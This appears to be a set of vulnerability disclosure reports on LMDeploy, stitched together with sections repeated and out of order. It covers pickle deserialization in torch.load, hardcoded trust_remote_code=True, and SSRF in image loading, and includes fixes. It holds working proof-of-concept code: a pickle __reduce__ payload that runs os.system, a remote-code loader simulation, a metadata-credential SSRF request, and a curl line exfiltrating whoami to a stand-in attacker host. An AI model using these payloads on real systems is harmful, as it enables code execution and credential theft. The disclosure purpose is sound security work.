    os.makedirs("malicious_model", exist_ok=True)
    create_malicious_checkpoint(
        "malicious_model/pytorch_model.bin",
        "echo '[PoC] Arbitrary code executed! - RCE confirmed'"
    )

Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)

Save this as exploit.py:

#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle

def unsafe_load(path):
    """Simulates torch.load() without weights_only=True."""
    # torch.load() uses pickle internally, so this is equivalent
    with open(path, 'rb') as f:
        return pickle.load(f)

if __name__ == "__main__":
    print("[*] Loading malicious checkpoint...")
    print("[*] This simulates: torch.load(ckpt) in lmdeploy")
    print("-" * 50)
    
    result = unsafe_load("malicious_model/pytorch_model.bin")
    
    print("-" * 50)
    print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
    print("[!] If you see the PoC message above, RCE is confirmed!")

Step 3: Run the PoC

# Create the malicious checkpoint
python create_malicious_checkpoint.py

# Exploit - triggers code execution
python exploit.py

Expected Output

[+] Created malicious checkpoint: malicious_model/pytorch_model.bin
[*] Loading malicious checkpoint...
[*] This simulates: torch.load(ckpt) in lmdeploy
--------------------------------------------------
[PoC] Arbitrary code executed! - RCE confirmed     ← Code executed here!
--------------------------------------------------
[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']
[!] If you see the PoC message above, RCE is confirmed!

The [PoC] Arbitrary code executed! message proves that arbitrary shell commands run during deserialization.

Impact

Who Is Affected?

• All users who load PyTorch model files (.bin, .pt) from untrusted sources
• This includes models downloaded from HuggingFace, ModelScope, or shared by third parties

Attack Scenario

1. Attacker creates a malicious model file (e.g., pytorch_model.bin) containing a pickle payload
2. Attacker distributes it as a "fine-tuned model" on model sharing platforms or directly to victims
3. Victim downloads and loads the model using lmdeploy
4. Malicious code executes with the victim's privileges

Potential Consequences

• Remote Code Execution (RCE) - Full system compromise
• Data theft - Access to sensitive files, credentials, API keys
• Lateral movement - Pivot to other systems in cloud environments
• Cryptomining or ransomware - Malware deployment

Recommended Fix

Add weights_only=True to all torch.load() calls:

# lmdeploy/vl/model/utils.py:22
- return torch.load(ckpt)
+ return torch.load(ckpt, weights_only=True)

# lmdeploy/turbomind/deploy/loader.py:122
- tmp = torch.load(shard, map_location='cpu')
+ tmp = torch.load(shard, map_location='cpu', weights_only=True)

# Apply the same pattern to:
# - lmdeploy/lite/apis/kv_qparams.py:129-130
# - lmdeploy/lite/apis/smooth_quant.py:61
# - lmdeploy/lite/apis/auto_awq.py:101
# - lmdeploy/lite/apis/get_small_sharded_hf.py:41

Alternatively, consider migrating fully to SafeTensors format, which is already supported in the codebase and immune to this vulnerability class.

Resources

Official PyTorch Security Documentation

• PyTorch torch.load() Documentation

  "torch.load() uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source."

Related CVEs

| CVE | Description | CVSS | |-----|-------------|------| | CVE-2025-32434 | PyTorch torch.load() RCE vulnerability | 9.3 Critical | | CVE-2024-5452 | PyTorch Lightning insecure deserialization | 8.8 High |

Additional Resources

• CWE-502: Deserialization of Untrusted Data
• Trail of Bits: Exploiting ML Pickle Files
• Rapid7: Attackers Weaponizing AI Models

Thank you for your time reviewing this report. I'm happy to provide any additional information or help with testing the fix. Please let me know if you have any questions!

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Summary

An insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file.

CWE: CWE-502 - Deserialization of Untrusted Data

Details

Several locations in lmdeploy use torch.load() without the recommended weights_only=True security parameter. PyTorch's torch.load() uses Python's pickle module internally, which can execute arbitrary code during deserialization.

Vulnerable Locations

1. lmdeploy/vl/model/utils.py (Line 22)

def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
    """Load checkpoint."""
    if ckpt.endswith('.safetensors'):
        return load_file(ckpt)  # Safe - uses safetensors
    else:
        return torch.load(ckpt)  # ← VULNERABLE: no weights_only=True

2. lmdeploy/turbomind/deploy/loader.py (Line 122)

class PytorchLoader(BaseLoader):
    def items(self):
        params = defaultdict(dict)
        for shard in self.shards:
            misc = {}
            tmp = torch.load(shard, map_location='cpu')  # ← VULNERABLE

Additional vulnerable locations:

• lmdeploy/lite/apis/kv_qparams.py:129-130
• lmdeploy/lite/apis/smooth_quant.py:61
• lmdeploy/lite/apis/auto_awq.py:101
• lmdeploy/lite/apis/get_small_sharded_hf.py:41

Note: Secure Pattern Already Exists

The codebase already uses the secure pattern in one location:

# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu')  # ✓ Secure

This shows the fix is already known and can be applied consistently across the codebase.

PoC

Step 1: Create a Malicious Checkpoint File

Save this as create_malicious_checkpoint.py:

#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os

class MaliciousPayload:
    """Executes arbitrary code during pickle deserialization."""
    
    def __init__(self, command):
        self.command = command
    
    def __reduce__(self):
        # This is called during unpickling - returns (callable, args)
        return (os.system, (self.command,))

def create_malicious_checkpoint(output_path, command):
    """Create a malicious checkpoint file."""
    malicious_state_dict = {
        'model.layer.weight': MaliciousPayload(command),
        'config': {'hidden_size': 768}
    }
    
    with open(output_path, 'wb') as f:
        pickle.dump(malicious_state_dict, f)
    
    print(f"[+] Created malicious checkpoint: {output_path}")

if __name__ == "__main__":
    os.makedirs("malicious_model", exist_ok=True)
    create_malicious_checkpoint(
        "malicious_model/pytorch_model.bin",
        "echo '[PoC] Arbitrary code executed! - RCE confirmed'"
    )

Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)

Save this as exploit.py:

#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle

def unsafe_load(path):
    """Simulates torch.load() without weights_only=True."""
    # torch.load() uses pickle internally, so this is equivalent
    with open(path, 'rb') as f:
        return pickle.load(f)

if __name__ == "__main__":
    print("[*] Loading malicious checkpoint...")
    print("[*] This simulates: torch.load(ckpt) in lmdeploy")
    print("-" * 50)
    
    result = unsafe_load("malicious_model/pytorch_model.bin")
    
    print("-" * 50)
    print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
    print("[!] If you see the PoC message above, RCE is confirmed!")

Step 3: Run the PoC

# Create the malicious checkpoint
python create_malicious_checkpoint.py

# Exploit - triggers code execution
python exploit.py

Expected Output

[+] Created malicious checkpoint: malicious_model/pytorch_model.bin
[*] Loading malicious checkpoint...
[*] This simulates: torch.load(ckpt) in lmdeploy
--------------------------------------------------
[PoC] Arbitrary code executed! - RCE confirmed     ← Code executed here!
--------------------------------------------------
[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']
[!] If you see the PoC message above, RCE is confirmed!

The [PoC] Arbitrary code executed! message proves that arbitrary shell commands run during deserialization.

Impact

Who Is Affected?

• All users who load PyTorch model files (.bin, .pt) from untrusted sources
• This includes models downloaded from HuggingFace, ModelScope, or shared by third parties

Attack Scenario

1. Attacker creates a malicious model file (e.g., pytorch_model.bin) containing a pickle payload
2. Attacker distributes it as a "fine-tuned model" on model sharing platforms or directly to victims
3. Victim downloads and loads the model using lmdeploy
4. Malicious code executes with the victim's privileges

Potential Consequences

• Remote Code Execution (RCE) - Full system compromise
• Data theft - Access to sensitive files, credentials, API keys
• Lateral movement - Pivot to other systems in cloud environments
• Cryptomining or ransomware - Malware deployment

Recommended Fix

Add weights_only=True to all torch.load() calls:

# lmdeploy/vl/model/utils.py:22
- return torch.load(ckpt)
+ return torch.load(ckpt, weights_only=True)

# lmdeploy/turbomind/deploy/loader.py:122
- tmp = torch.load(shard, map_location='cpu')
+ tmp = torch.load(shard, map_location='cpu', weights_only=True)

# Apply the same pattern to:
# - lmdeploy/lite/apis/kv_qparams.py:129-130
# - lmdeploy/lite/apis/smooth_quant.py:61
# - lmdeploy/lite/apis/auto_awq.py:101
# - lmdeploy/lite/apis/get_small_sharded_hf.py:41

Alternatively, consider migrating fully to SafeTensors format, which is already supported in the codebase and immune to this vulnerability class.

Resources

Official PyTorch Security Documentation

• PyTorch torch.load() Documentation

  "torch.load() uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source."

Related CVEs

| CVE | Description | CVSS | |-----|-------------|------| | CVE-2025-32434 | PyTorch torch.load() RCE vulnerability | 9.3 Critical | | CVE-2024-5452 | PyTorch Lightning insecure deserialization | 8.8 High |

Additional Resources

• CWE-502: Deserialization of Untrusted Data
• Trail of Bits: Exploiting ML Pickle Files
• Rapid7: Attackers Weaponizing AI Models

Thank you for your time reviewing this report. I'm happy to provide any additional information or help with testing the fix. Please let me know if you have any questions!

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

